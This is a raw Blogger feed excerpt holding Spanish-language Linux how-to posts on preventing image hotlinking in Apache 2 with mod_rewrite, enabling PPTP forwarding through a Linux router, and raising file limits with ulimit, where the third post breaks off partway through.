&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Con el fin de que el ancho de banda de nuestra web no sea consumido involuntariamente, lo ideal es protegernos del hotlinking; lo cual afortunadamente es sencillo de implementar en Apache 2. Para ello hay dos tipos de prevención de hotlinking; aquel que directamente te pone muestra una imagen nula o aquel que te muestra una imagen concreta (y diferente) con el fin de dar a entender que están realizando una práctica no deseada contra nuestras imágenes.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para poder aplicar dicha medida de protección en nuestro servidor, lo primero que necesitamos hacer es tener el módulo &lt;b&gt;mod_rewrite &lt;/b&gt;activado en nuestro servidor web Apache2. Dicho módulo es instalado por defecto con Apache2, pero al mismo tiempo se encuentra desactivado por defecto, con lo que primero activaríamos dicho módulo, lo cual es tan sencillo como escribir el comando de a continuación como root:&lt;/div&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;a2enmod rewrite 
&lt;/pre&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Veremos que nos solicita reiniciar Apache2 con el fin de hacer efectivo el cambio, pero todavía no lo haremos debido a que necesitaremos hacer un pequeño cambio en la configuración de este servicio para que pueda trabajar con el módulo rewrite... Esto es debido a que Apache2 por defecto está diseñado para no trabajar con dicho módulo y para no permitir que se &quot;sobrescriban&quot; las políticas del servidor web. En este caso, al querer modificar el comportamiento del servidor para prevenir el hotlinking, editaremos el fichero &lt;b&gt;/etc/apache2/apache2.conf&lt;/b&gt;; teniendo en cuenta que lo más común es que la página web esté alojada en &lt;b&gt;/var/www/ &lt;/b&gt;(o en uno de sus subdirectorios), cambiaremos lo siguiente:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Antes:&lt;/b&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&amp;lt;Directory /var/www/&amp;gt;
        Options Indexes FollowSymLinks
        AllowOverride none
        Require all granted
&amp;lt;/Directory&amp;gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;Despues:&lt;/b&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&amp;lt;Directory /var/www/&amp;gt;
        Options Indexes FollowSymLinks
        AllowOverride &lt;b&gt;all&lt;/b&gt;
        Require all granted
&amp;lt;/Directory&amp;gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Con dicho cambio realizado, ahora sí que procederíamos a reiniciar Apache2 mediante el comando:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;service apache2 restart
&lt;/pre&gt;
Una vez tengamos los preparativo realizados, pasaremos a implantar nuestra protección contra hotlinks, lo cual lograremos gracias a la intervención de un fichero que crearemos llamado &lt;b&gt;.htaccess&lt;/b&gt;, cuya función es rescribir la configuración usada para el servicio web dentro del directorio en el que se aloja ésta y, también, dentro de los subdirectorios de la susodicha. En mi caso en concreto la web se encontraría alojada en &lt;b&gt;/var/www/html&lt;/b&gt;, web en la cual estaría hospedada la siguiente imagen:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9Yq1cY2CSTZfbOkZLRUgnagOj5QnOAmG9tpkuDnUntxPehKUNQ2jc8YDY3H93193GNBch4pSKEhxFo3g7z689vUerxccT8KTkQAPaX2D43Xv_IPuDtgzgbr0cfmCd-cAwLBZGLTseI-Pn/s1600/web_normal.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;no_hotlink_prevent&quot; border=&quot;0&quot; data-original-height=&quot;670&quot; data-original-width=&quot;516&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9Yq1cY2CSTZfbOkZLRUgnagOj5QnOAmG9tpkuDnUntxPehKUNQ2jc8YDY3H93193GNBch4pSKEhxFo3g7z689vUerxccT8KTkQAPaX2D43Xv_IPuDtgzgbr0cfmCd-cAwLBZGLTseI-Pn/s320/web_normal.PNG&quot; title=&quot;no_hotlink_prevent&quot; width=&quot;246&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
Dicha imagen se encontraría desnuda en estos momentos, es decir que podría ser accedida desde cualquier otra web, con lo que dentro del directorio /var/www/html crearíamos el fichero .htaccess con el siguiente contenido:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;RewriteEngine on
RewriteOptions InheritDown
RewriteCond %&lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;HTTP_REFERER&lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt; !^&lt;span style=&quot;background-color: #ffaaaa; color: red;&quot;&gt;$&lt;/span&gt;
RewriteCond %&lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;HTTP_REFERER&lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt; !^http(s)://&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;www&lt;span style=&quot;background-color: #fff0f0; color: #666666; font-weight: bold;&quot;&gt;\.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt;?192.168.1.8/.*&lt;span style=&quot;color: #996633;&quot;&gt;$ &lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;[&lt;/span&gt;NC&lt;span style=&quot;color: #333333;&quot;&gt;]&lt;/span&gt;
RewriteRule &lt;span style=&quot;background-color: #fff0f0; color: #666666; font-weight: bold;&quot;&gt;\.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;jpg|jpeg|png|gif&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #996633;&quot;&gt;$ &lt;/span&gt;- &lt;span style=&quot;color: #333333;&quot;&gt;[&lt;/span&gt;NC&lt;span style=&quot;color: #333333;&quot;&gt;]&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Desgranemos cada línea con el fin de entender el contenido del fichero y no hacer un simple copia-pega.&lt;br /&gt;
&lt;br /&gt;
La primera línea, &lt;b&gt;RewriteEngine on&lt;/b&gt;; habilita la posibilidad de realizar las opciones &quot;rewrite&quot; que se ejecutan a continuación, acciones realizadas gracias al módulo rewrite de Apache2; en caso de carecer de dicha línea o tener dicho valor establecido a &lt;b&gt;off&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
La segunda línea, &lt;b&gt;RewriteOptions InheritDown&lt;/b&gt;, la cual es opcional, sirve para que los subdirectorios hereden la configuración aplicada en dicho .htaccess.&lt;br /&gt;
&lt;br /&gt;
La tercera y cuarta línea, son las condiciones bajo las cuales se ejecutaría el rewrite. En ambas se tiene en cuenta qué IP o dominio va a hacer referencia a la web debido a que en la condición, &lt;b&gt;RewriteCond&lt;/b&gt;, se revisa dicho valor gracias a &lt;b&gt;%{HTTP_REFERER}&lt;/b&gt;, después del cual se dice desde donde se realiza una petición HTTP al servidor. Dicha petición se realizaría desde dos orígenes, desde el propio servidor (a nivel interno) para lo cual pondríamos el parámetro en cuestión vacío, lo cual se representa como: &lt;b&gt;!^&lt;/b&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;b&gt;$&lt;/b&gt;. En cambio, para especificar nuestro host, tendríamos que escribir el nombre (o la IP) de éste teniendo en cuenta que se puede hacer referencia al host como http, https (si lo tenemos habilitado), con www o sin este. En mi caso el servidor Apache2 sería la IP 192.168.1.8. Además, veremos que al lado hay un parámetro llamado [NC]; dicho parámetro se encargaría de no hacer distinción entre mayúsculas&amp;nbsp;y minúsculas.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;Por último se pondría la re-escritura&amp;nbsp;de &quot;reglas&quot; mediante el &lt;b&gt;RewriteRule&lt;/b&gt;, el cual en este caso haría que todas las peticiones que HTTP que se hagan a las imágenes jpg,jpeg,png y gif, sean bloqueadas. Por ejemplo, si hacemos una petición a dicha imagen desde otro servidor web, veremos una imagen en blanco:&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9zD1150qAUpqk7-rJy2BeCPt_KEQOBP-lbrTG64BKL74dLITkf9MEjxyGxzFh1RGtGiARNcLdJ2BiuBoadBxCDD6GCa9h1U3zj3Eds-DuoOfu90N9N2xMv4gGVvXjMcZbGp1Yc7FfioEW/s1600/hotlink_block.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;hotlink_block&quot; border=&quot;0&quot; data-original-height=&quot;695&quot; data-original-width=&quot;547&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9zD1150qAUpqk7-rJy2BeCPt_KEQOBP-lbrTG64BKL74dLITkf9MEjxyGxzFh1RGtGiARNcLdJ2BiuBoadBxCDD6GCa9h1U3zj3Eds-DuoOfu90N9N2xMv4gGVvXjMcZbGp1Yc7FfioEW/s320/hotlink_block.PNG&quot; title=&quot;hotlink_block&quot; width=&quot;251&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Esto nos serviría para bloquear el hotlinking desde otros sitios; si deseásemos que se mostrase una imagen concreta que fuese indicativa de que tenemos la protección contra hotlinks activada, podríamos editar el contenido anterior para que en la línea RewriteRule nos redirija a una imagen local previamente preparada. La re-dirección la haríamos especificando la ruta &lt;b style=&quot;text-decoration-line: underline;&quot;&gt;local&lt;/b&gt; de dicha imagen.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;RewriteEngine on
RewriteOptions InheritDown
RewriteCond %&lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;HTTP_REFERER&lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt; !^&lt;span style=&quot;background-color: #ffaaaa; color: red;&quot;&gt;$&lt;/span&gt;
RewriteCond %&lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;HTTP_REFERER&lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt; !^http://&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;www&lt;span style=&quot;background-color: #fff0f0; color: #666666; font-weight: bold;&quot;&gt;\.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt;?192.168.1.8/.*&lt;span style=&quot;color: #996633;&quot;&gt;$ &lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;[&lt;/span&gt;NC&lt;span style=&quot;color: #333333;&quot;&gt;]&lt;/span&gt;
RewriteRule &lt;span style=&quot;background-color: #fff0f0; color: #666666; font-weight: bold;&quot;&gt;\.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;jpg|png&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #996633;&quot;&gt;$ &lt;/span&gt;/var/www/html/imagenes/candado.png &lt;span style=&quot;color: #333333;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;NC&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;]&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Ahora en caso de intentar acceder a la imagen desde un origen no grato, veríamos la imagen de un candado tal y como podemos ver en la siguiente captura:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSTe_ciBH_So9pe92LKpM3AJzrOzhV39WVdBDg4qK51X4OshgLVTZu9xwvZ_2YkLYqmqaoKOn_-I_Lj_SAW7Tju6QB2UwvUnRJpq9BRspdlamcN2KV3dyECXA7XA3kzeBQblOsUVOkuX97/s1600/hotlink_redirect.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;hotlink_redirect&quot; border=&quot;0&quot; data-original-height=&quot;666&quot; data-original-width=&quot;529&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSTe_ciBH_So9pe92LKpM3AJzrOzhV39WVdBDg4qK51X4OshgLVTZu9xwvZ_2YkLYqmqaoKOn_-I_Lj_SAW7Tju6QB2UwvUnRJpq9BRspdlamcN2KV3dyECXA7XA3kzeBQblOsUVOkuX97/s320/hotlink_redirect.PNG&quot; title=&quot;hotlink_redirect&quot; width=&quot;254&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Esta medida puede ser incluso más efectiva que la del bloqueo, ya que sería claramente disuasoria de que las personas intenten hacer hotlinks a dichas imágenes propias y que en caso de desear mostrarlas, tengan la necesidad de descargárselas y subírselas a sus propios servidores.&lt;br /&gt;
&lt;br /&gt;
Como podéis ver la técnica de prevención de hotlinks es fácil y sencilla de aplicar, medida que si bien puede uno pensar que no necesita, puede prevenirle a uno del consumo indeseado de ancho de banda; prevención que se puede aplicar de una forma muy rápida como se ha podido ver aquí.&lt;br /&gt;
&lt;br /&gt;
Espero que os haya resultado útil.&lt;br /&gt;
&lt;br /&gt;
Saludos.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://bytelearning.blogspot.com/feeds/8439547058960021058/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://bytelearning.blogspot.com/2018/04/hotlinking-como-evitarlo-apache2-linux.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/8439547058960021058'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/8439547058960021058'/><link rel='alternate' type='text/html' href='https://bytelearning.blogspot.com/2018/04/hotlinking-como-evitarlo-apache2-linux.html' title='Hotlinking; qué es y como evitarlo en Apache 2'/><author><name>Ivan Da Silva</name><uri>http://www.blogger.com/profile/13470310234898491916</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4Xbe3wqHm3GnSlj0fIovhzb_HXvUHUk2JP5pQ0lwjcvOMbMU8C28frZ_liP_K_jRe1Dv_UTMPslybc8rlEaNZIfVbXddPoakME9HD4L3ef5REbiL2BAG2jfuKJzuzmIjkiz5Y9T33opbR/s72-c/hotlink_portada.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-758491715129760469.post-197917640869356389</id><published>2018-03-23T20:04:00.000+01:00</published><updated>2018-03-23T20:04:24.136+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Howto"/><category scheme="http://www.blogger.com/atom/ns#" term="Internet"/><category scheme="http://www.blogger.com/atom/ns#" term="Networking"/><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad"/><category scheme="http://www.blogger.com/atom/ns#" term="Shell"/><title type='text'>Cómo habilitar el tráfico PPTP a través de un router Linux</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
La creación de un router &quot;casero&quot; con Linux es relativamente sencillo; solamente necesitamos dos tarjetas de red y tener claras las IPs y VLANes a la que pertenece cada interfaz de red... La cuestión está en que a veces podemos tener problemas de comunicación con ciertos servicios al &quot;aislarnos&quot; gracias a dicho router casero que hemos creado con nuestro sistema Linux. Dicho aislamiento puede deberse a veces a problemas de configuración con &lt;a href=&quot;https://bytelearning.blogspot.com.es/2013/02/abierto-el-tema-de-la-seguridad-voy.html&quot;&gt;iptables&lt;/a&gt;, o a que debido a algunas políticas por defecto adoptadas por Linux, cierto tráfico es bloqueado. En este caso quiero mostraros como habilitar el tráfico &lt;b&gt;PPTP &lt;/b&gt;(Point to Point Tunelling Protocol)&lt;b&gt;&amp;nbsp;&lt;/b&gt;en &lt;b&gt;Linux&lt;/b&gt;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjl9SqmzFyPynuRqqSeYLg0jlNq9ujOMn04RJPf87Y-Tu5cowt33ZwWLo9fV8rkNfVXN4h9dDvlm-1p_hrNxwpTmeH3uUn282CIRAp1MkmMIlysZ_k5Tph_EUF2XTH8cB_ClG1p12PTTioK/s1600/pptp_linux.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;pptp_linux&quot; border=&quot;0&quot; data-original-height=&quot;312&quot; data-original-width=&quot;543&quot; height=&quot;183&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjl9SqmzFyPynuRqqSeYLg0jlNq9ujOMn04RJPf87Y-Tu5cowt33ZwWLo9fV8rkNfVXN4h9dDvlm-1p_hrNxwpTmeH3uUn282CIRAp1MkmMIlysZ_k5Tph_EUF2XTH8cB_ClG1p12PTTioK/s320/pptp_linux.png&quot; title=&quot;pptp_linux&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Podemos tener una configuración perfecta en el cortafuegos, pero aún así ver que el tráfico no está llegando correctamente a su destino... Esto es debido a que Linux tiene deshabilitado por defecto el enrutamiento del tráfico PPTP, ya que hoy en día es considerado inseguro y es mucho más recomendado usar tecnologías tales como &lt;a href=&quot;https://bytelearning.blogspot.com.es/2013/02/creacion-de-vpn-con-openvpn.html&quot;&gt;OpenVPN&lt;/a&gt;&amp;nbsp;o tecnologías que usen &lt;b&gt;Ipsec&lt;/b&gt;. Aún así, no siempre podemos trabajar en las circunstancias ideales y cuando nos piden conectarnos a un servidor VPN ajeno, no podemos elegir qué tipo de VPN es, sino que tenemos que adaptarnos a las circunstancias. Es por ello que tendremos que habilitar que dicho tráfico &quot;fluya&quot; por nuestro router.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Afortunadamente la solución es sencilla; lo primero de todo sería comprobar si tenemos el módulo el enrutamiento (también conocido como nateo) del protocolo PPTP activado. Esto es tan sencillo como listar todos los módulos existentes, haciendo un filtrado del módulo que buscamos, que en este caso sería&amp;nbsp;&lt;b&gt;nf_nat_pptp&lt;/b&gt;. Dicho listado lo haríamos gracias al comando &lt;b&gt;lsmod&lt;/b&gt;:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;lsmod &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt;grep nf_nat_pptp
&lt;/pre&gt;
Lo más normal sería que el comando nos diese un resultado vacío; es decir que el módulo no estuviese activo. Afortunadamente la solución es extremadamente sencilla: Para insertar el módulo habría que ejecutar el comando:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;insmod nf_nat_pptp
&lt;/pre&gt;
Gracias a dicho comando tendríamos activado el módulo en cuestión, si bien para que este cambio fuese permanente habría que incluirlo en el arranque añadiéndolo en al fichero &lt;b&gt;/etc/modules&lt;/b&gt;. Para ello habría que escribir el comando:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;&lt;span style=&quot;color: #904050;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #00c4c4;&quot;&gt;&#39;nf_nat_pptp&#39;&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #white;&quot;&gt;/etc/modules&lt;/span&gt;
&lt;/pre&gt;
Ahora bien, con dicho comando no sería suficiente, habría que hacer que el kernel también fuese capaz de hacer las acciones necesarias para gestionar dicho tráfico. Afortunadamente el cambio solamente consistiría en añadir una línea al fichero &lt;b&gt;/etc/sysctl.conf&lt;/b&gt;. Dicha línea sería añadida tal que así:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;&lt;span style=&quot;color: #904050;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #00c4c4;&quot;&gt;&#39;net.netfilter.nf_conntrack_helper=1&#39;&lt;/span&gt; &lt;span style=&quot;color: teal;&quot;&gt;\ &lt;/span&gt;
&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #white;&quot;&gt;/etc/sysctl.conf&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
Para aplicara los cambios dentro de dicho fichero simplemente habría que ejecutar el comando:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;sysctl &lt;span style=&quot;color: #00dddd;&quot;&gt;-p&lt;/span&gt;
&lt;/pre&gt;
Gracias a este cambio, un sistema Linux que actúe como enrutador, enrutaría también el tráfico PPTP, brindándonos así la posibilidad de conectarnos a dichos tipos de VPN.&lt;br /&gt;
&lt;br /&gt;
Espero que os haya sido útil.&lt;br /&gt;
&lt;br /&gt;
Saludos.</content><link rel='replies' type='application/atom+xml' href='https://bytelearning.blogspot.com/feeds/197917640869356389/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://bytelearning.blogspot.com/2018/03/habilitar-trafico-pptp-linux.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/197917640869356389'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/197917640869356389'/><link rel='alternate' type='text/html' href='https://bytelearning.blogspot.com/2018/03/habilitar-trafico-pptp-linux.html' title='Cómo habilitar el tráfico PPTP a través de un router Linux'/><author><name>Ivan Da Silva</name><uri>http://www.blogger.com/profile/13470310234898491916</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjl9SqmzFyPynuRqqSeYLg0jlNq9ujOMn04RJPf87Y-Tu5cowt33ZwWLo9fV8rkNfVXN4h9dDvlm-1p_hrNxwpTmeH3uUn282CIRAp1MkmMIlysZ_k5Tph_EUF2XTH8cB_ClG1p12PTTioK/s72-c/pptp_linux.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-758491715129760469.post-9073674185828286611</id><published>2018-03-21T21:12:00.002+01:00</published><updated>2018-03-23T13:18:51.374+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Howto"/><category scheme="http://www.blogger.com/atom/ns#" term="Internet"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Networking"/><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad"/><category scheme="http://www.blogger.com/atom/ns#" term="Shell"/><title type='text'>Límites en Linux; qué son y cómo controlarlos</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
A la hora de trabajar con servidores Linux, la prioridad de uno suele ser siempre la misma: Que sea capaz de dar servicio todo el tiempo posible y que sea capaz de atender cualquier petición que se le realice. Ambas necesidades tienen una estrecha relación con el hardware instalado, pero en muchas ocasiones se ignora el software, el cual también tiene un papel importante. Podemos tener un hardware extremadamente potente que si a nivel de software no tenemos la optimizaciones necesarias, no le estaremos sacando partido al susodicho debido a que tenemos unos límites demasiado estrictos; es por ello que hoy quiero hablaros sobre los &lt;b&gt;límites en Linux&lt;/b&gt;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjO8s5hlZDevNpKeaCojFdIYuPpj2cWIEsSTPhvmujeI6yplipJfz3PzDsgIPFyCEuzYXi3GtqCpwUNRNBJ5dsULxypzJ5lOff0qIgiw82EytiO9uQYhtHL5IpvbzV4OJvloIbORUog9JTF/s1600/limits_portada.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;limits_portada&quot; border=&quot;0&quot; data-original-height=&quot;207&quot; data-original-width=&quot;420&quot; height=&quot;157&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjO8s5hlZDevNpKeaCojFdIYuPpj2cWIEsSTPhvmujeI6yplipJfz3PzDsgIPFyCEuzYXi3GtqCpwUNRNBJ5dsULxypzJ5lOff0qIgiw82EytiO9uQYhtHL5IpvbzV4OJvloIbORUog9JTF/s320/limits_portada.png&quot; title=&quot;limits_portada&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Existen ciertas aplicaciones tales como las bases de datos y las aplicaciones web, que requieren abrir una ingente cantidad de ficheros: Ficheros temporales, bases de datos, ficheros de configuración, etc... Además, con las bases de datos podemos estar haciendo varias consultas o &quot;aperturas&quot; de fichero simultáneas que contarían como múltiples aperturas de fichero... Esto en servidores con una carga de trabajo relativamente baja no supone un problema, pero en servidores con altas cargas de trabajo sí que supondría un problema ya que podríamos superar el límite de ficheros abiertos de forma simultánea, dando como error interno el mensaje: &lt;b&gt;&quot;Too many open files&quot;&lt;/b&gt;. Esto es debido a que los límites impuestos por el sistema nos impiden abrir más ficheros, al igual que otros límites nos pueden impedir otras tareas.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Afortunadamente dichos límites pueden ampliarse de forma sencilla. Lo primero sería conocer nuestro límite actual, lo cual es tan sencillo como escribir el comando:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;ulimit &lt;span style=&quot;color: #d2cd86;&quot;&gt;-&lt;/span&gt;n
&lt;/pre&gt;
En caso de tener los valores por defecto, el valor mostrado por la salida de dicho comando sería de 1024; es decir que el límite actual sería de &lt;b&gt;1024 &lt;/b&gt;ficheros abiertos. Esto puede parecer un valor muy alto, pero en un servidor dicho valor puede quedarse corto, especialmente si trabajamos con bases de datos como PostgreSQL que trabaja con una gran cantidad e ficheros temporales por cuestiones de rendimiento.&lt;br /&gt;
&lt;br /&gt;
Para cambiar el límite actual de forma provisional, podemos recurrir al comando:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;ulimit &lt;span style=&quot;color: #d2cd86;&quot;&gt;-&lt;/span&gt;n &lt;span style=&quot;color: #008c00;&quot;&gt;99999&lt;/span&gt;
&lt;/pre&gt;
El problema de dicho comando sería que el límite solo valdría para el usuario y sesión actual; si cerramos sesión o reiniciamos el equipo, dicho límite se perdería y volvería a establecerse el de 1024. Para realizar un cambio más permanente tendríamos que editar el fichero&lt;b&gt; /etc/security/limits.conf&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Dicho fichero establece los límites para diferentes usuarios y grupos. Por defecto su contenido está completamente comentado, con lo que cualquier límite que deseemos agregar tendrá que ser hecho a mano. Antes de añadir cualquier contenido, es importante entender su sintaxis, ya que será lo que nos ayudará a entender qué queremos añadir y cómo hacerlo. Cada límite que queramos añadir estará compuesto por cuatro secciones separadas por espacios entre sí; en concreto la estructura sería:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;dominio tipo objeto valor&lt;/b&gt;&lt;br /&gt;
